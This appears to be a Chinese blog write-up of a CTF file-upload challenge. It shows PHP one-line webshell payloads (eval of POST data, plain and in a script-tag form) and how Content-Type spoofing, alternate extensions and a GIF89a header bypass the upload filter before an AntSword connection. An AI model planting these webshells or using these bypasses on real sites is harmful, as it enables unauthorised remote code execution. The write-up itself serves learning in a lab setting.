博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

[极客大挑战 2019]Upload

知识点

1.Content-Type绕过

2.文件头绕过

3.后缀名绕过

 

题目

拿到题目是一道上传题

 

先来简单地上传一个一句话木马

<?php @eval($_POST['a']);?>

保存为a.php

抓包

 

 

提示Not image!

那我们来更改一下Content-Type: image/jpeg

又提示Not php

 

 

它既要是一张图片的格式又要是php的文件

我们来改改后缀试试

php,php3,php4,php5,phtml,pht

 

 

这里被html实体化,应该是这个样子

 

 

考虑绕过

<script language="php">eval($_POST['a']);</script>

又提示

 

 

应该是校验了文件的内容

在文件内容的前面加上GIF89a的标识

 

 

用蚁剑连一下,在根目录下查找(一般上传后的文件都在upload下)

 

posted @ 2020-09-09 14:48  My_Dreams  阅读(528)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();